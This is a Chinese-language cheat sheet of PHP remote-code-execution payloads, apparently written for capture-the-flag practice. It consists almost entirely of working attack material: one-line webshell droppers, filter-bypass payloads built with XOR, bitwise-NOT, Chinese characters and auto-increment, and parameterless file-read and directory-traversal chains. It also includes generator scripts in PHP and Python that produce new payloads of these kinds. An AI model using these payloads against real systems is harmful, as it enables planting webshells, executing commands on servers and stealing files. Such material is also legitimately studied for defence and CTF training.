一些常见 RCE 形式

eval($_POST[1]);
`$_GET[1]`;
?><?=`{${_GET}[1]}`?>

eval(),assert()的 RCE

核心是写个一句话马让蚁剑去连

?cmd=file_put_contents("shell.php","<?=eval(\$_POST['cmd']);?>");
?cmd=fputs(fopen('dotast.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw==\"));
?cmd=fwrite(fopen('phpinfo.php','a'),'<?php%20phpinfo();?>');
?cmd=echo%20'<?php @eval($_POST["123"]);?>'%20>%201.php
?cmd=?><?=`ls`;

写 assert 时候蚁剑编码器选 base64

无字母数字 RCE

  • 因为$,+等会被 url 混淆,务必使用 url 编码特殊字符!!!

异或绕过

("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")(); //phpinfo();
  • assert($_POST[_]);//PHP version<7.1

          $_="!((%)("^"@[[@[\\";$__="!+/(("^"~{`{|";$___=$$__;$_($___[_]);
    
  • system($_POST[_]);

            $_="(\"((%-"^"[[[\\@@";$__="!+/(("^"~{`{|";$___=$$__;$_($___[_]);
    

构造异或脚本

<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo '"'.$result1.'"';
echo "^";
echo '"'.$result2.'"';

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

取反绕过

PHP7

(~%8F%97%8F%96%91%99%90)(); //phpinfo(); 查看disable_functions
(~%8C%86%8C%8B%9A%92)(~%93%8C);//system("ls");
(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%D0%99%93%9E%98);//highlight_file("/flag");
(~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)(~%8C%86%8C%8B%9A%92,~%88%97%90%9E%92%96); //call_user_func(system,whoami);

构造取反脚本

<?php
$a='call_user_func';
$b='system';
$c='whoami';
$payload1='(~'.urlencode(~$a).')();';
$payload2='(~'.urlencode(~$a).')(~'.urlencode(~$b).');';
$payload3='(~'.urlencode(~$a).')(~'.urlencode(~$b).',~'.urlencode(~$c).');';
echo $payload1."\n";
echo $payload2."\n";
echo $payload3."\n";
?>

PHP5

  • assert($_POST[_]);//PHP version<7.1

          $_=~%22%9e%8c%8c%9a%8d%8b%22;$__=~%22%a0%af%b0%ac%ab%22;$___=$$__;$_($___[_]);
    
  • system($_POST[_]);

          $_=~"%8C%86%8C%8B%9A%92";
          $__=~"%a0%af%b0%ac%ab";
          $___=$$__;
          $_($___[_]);
    

中文绕过(全部字符 url 编码))

  • assert($_POST[_]);//PHP version<7.1

          ?><?=$_++;$__="极";$___=~($__{$_});$__="区";$___.=~($__{$_});$___.=~($__{$_});$__="皮";$___.=~($__{$_});$__="十";$___.=~($__{$_});$__="勺";$___.=~($__{$_});$____='_';$__="寸";$____.=~($__{$_});$__="小";$____.=~($__{$_});$__="欠";$____.=~($__{$_});$__="立";$____.=~($__{$_});$_=$$____;$___($_[_]);
    
  • system($_POST[_]);

          ?><?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$_=$$____;$___($_[_]);
    

自增绕过

  • system($_POST[_]);

          ?><?=
          @$_=[].'',
          @$__=$_[''],
          $___='',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$___.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,
          $____='_',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
          $_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,
          $_=$$____,$___($_[_])?>
    
  • assert($POST[]);

          ?><?=
          $_=[];
          $_=@"$_";
          $_=$_['!'=='@'];
          $___=$_;
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $___.=$__;
          $___.=$__;
          $__=$_;
          $__++;$__++;$__++;$__++;
          $___.=$__;
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $___.=$__;
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $___.=$__;
          $____='_';
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $____.=$__;
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $____.=$__;
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $____.=$__;
          $__=$_;
          $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
          $____.=$__;
          $_=$$____;
          $___($_[_]);
    
  • 两个参数都自己控制

            //post传参
            cmd=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]);
    
            //get传参
            ?_=system&__=ls /
    

长度限制

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//长度118    $_GET[1]($_GET[2])

其他的杂项

屏蔽了_导致_GET,_POST 失效

异或
a=?%3E%3C?=`{${"!%27%25("^"%7e%60%60%7c"}[%a0]}`?%3E&%a0=whoami
取反
a=?%3E%3C?=`{${~%22%a0%b8%ba%ab%22}[%a0]}`?%3E&%a0=whoami

自增写马

?><?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
POST部分
__=file_put_contents&_=shell.php&___=<?=eval($_POST['cmd'])?>

无参数 RCE

构造 payload

一些用于构造的函数

print_r(),var_dump():输出函数
readfile(),highlight_file(),show_source():读取文件
echo(file_get_contents()),echo(serialize(file()))也可以读取文件
getcwd():获取当前目录
dirname():获取上层目录
scandir():等同 ls
chdir():改变目录,要和 dirname 搭配使用以吃掉 chdir 的 bool 值。例如:

dirname(chdir(dirname(dirname(dirname(getcwd())))));
  • 可以用 prev(),next(),reset(),end(),array_reverse()获取到 flag.php(仅限 flag.php 位于数组前后两位),然后用 readfile()读取。

获取点号字符’.':

1.pos(localeconv()),current(localeconv())
2.chr(pos(localtime(time()))) 等秒数为 46,注:47 时是斜杠。
3.利用 phpversion()
echo(phpversion());
如果版本以 5或7 开头,可以利用数学方法构造出 46,47(这个理论上能用到PHP8,到出PHP9时我估计早不碰PHP了吧)
echo(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))); 点号
echo(chr(ceil(sinh(sinh(acos(tan(tan(sqrt(floor(phpversion())))))))))); 斜杠
我让gpt帮我写了份爆破脚本在下面,大家构造时可以找着黑名单改
4.crypt()
chr(ord(strrev(crypt(phpversion()))));
这里的phpversion可取任何一个返回字符串的函数,利用随机性返回点号,同样有几率返回斜杠。
<?php
// 无参RCE构造47爆破脚本
// 固定前三层:sqrt(floor(phpversion()))
// 后面使用三角函数组合
// 最后使用ceil/floor/round取整

// 可用的三角函数
$trigFunctions = ['sin', 'cos', 'tan', 'asin', 'acos', 'atan', 'sinh', 'cosh', 'tanh'];

// 取整函数
$roundingFunctions = ['ceil', 'floor', 'round'];

// 基础表达式
$base = 'sqrt(floor(phpversion()))'; // 在PHP7下=2.645->floor=2

// 最大尝试深度(在基础表达式之后)
$maxDepth = 5;

// 存储找到的有效表达式
$foundExpressions = [];

function buildTrigChain($current, $depth, $maxDepth, &$foundExpressions)
{
global $trigFunctions, $roundingFunctions;

if ($depth >= $maxDepth) {
// 尝试各种取整函数
foreach ($roundingFunctions as $roundFunc) {
$expr = "$roundFunc($current)";
try {
$val = eval ("return $expr;");
if ($val == 47) {
$foundExpressions[] = $expr;
echo "Found: $expr = $val\n";
}
} catch (Throwable $e) {
// 忽略计算错误
}
}
return;
}

// 继续添加三角函数
foreach ($trigFunctions as $func) {
buildTrigChain("$func($current)", $depth + 1, $maxDepth, $foundExpressions);
}
}

echo "Starting爆破...\n";
echo "Base expression: $base = " . eval ("return $base;") . "\n\n";

buildTrigChain($base, 0, $maxDepth, $foundExpressions);

if (empty($foundExpressions)) {
echo "没有找到能生成47的表达式\n";
} else {
echo "\n找到的表达式:\n";
foreach ($foundExpressions as $expr) {
echo "- $expr\n";
}
}

跨目录

第一种方法是用 chdir 和 dirname,但有些题会 ban 掉 dirname 或 getcwd 导致不能任意穿梭。
这时就需要构造 chdir(‘…’)或 scandir(‘/’)
难点在于吃掉 chdir 的 bool 值,PHP>7.1 的绕过我暂时没找到。 天无绝人之路!我终于发现 date 可以吃掉这个值了。

利用 time()吃掉 chdir 的 bool 值

适用版本:PHP 5.1-PHP 7.0,因为 time()允许传参只在这些版本存在。
payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

第一段:chdir(next(scandir(pos(localeconv()))))
等同于 chdir(‘…’),跳转到上层目录

第二段:end(scandir(chr(pos(localtime(time())))))
这里的点号就用 chr(pos(localtime(time())))来获取,pos 获取了 time()的秒数。

当 second=46 时 是点号,second=47 时 是斜杠。

利用 array(date())吃掉 chdir 的 bool 值

print_r(scandir((chr(ord(strrev(crypt(serialize(array(date(chdir(next(scandir(pos(localeconv()))))))))))))));

这个是利用了 crypt 加密时有几率返回点值和斜杠的特性。

readfile(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array(date(chdir(next(scandir(pos(localeconv())))))))))))))));

两次随机有点看脸。

使用 arrar_rand()来获取 array 中的随机项

print_r(scandir(dirname(chdir(dirname(getcwd())))));//获取根目录文件
highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))))//随机读取,多次读取得到flag

使用 session 值

RCE部分:?exp=eval(hex2bin(session_id(session_start())));
PHPSESSID:PHPSESSID=706870696e666f28293b
// echo bin2hex('phpinfo();');

getenv()

在header最后写上sky:cat /flag
print_r(end(getallheaders()));
system(end(getallheaders()));
或者
print_r(end(current(get_definded_vars((())))))&sky=phpinfo();
eval(end(current(get_definded_vars((())))))&sky=phpinfo();

无字母数字参数 RCE

phpinfo():[~%8F%97%8F%96%91%99%90][~%FF]();
加[~%FF]只是因为 php7 的解析方式,例如[~%EF],[~%CF]也能通过检测。
通过 getenv() RCE

<?php
$a='system';
$b='end';
$c='getallheaders';
$payload='[~'.urlencode(~$a).'][!%FF]([~'.urlencode(~$b).'][!%FF]([~'.urlencode(~$c).'][!%FF]()));';
echo $payload;

?>

下列 payload 取自 https://blog.csdn.net/m0_73512445/article/details/134542950

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:]
return f"[~{ss}][!%FF]("
while True:
fun = input("Firebasky>: ").strip(")").split("(")
exp = ''
for each in fun[:-1]:
exp += urlbm(each)
print(exp)
exp += ")" * (len(fun) - 1) + ";"
print(exp)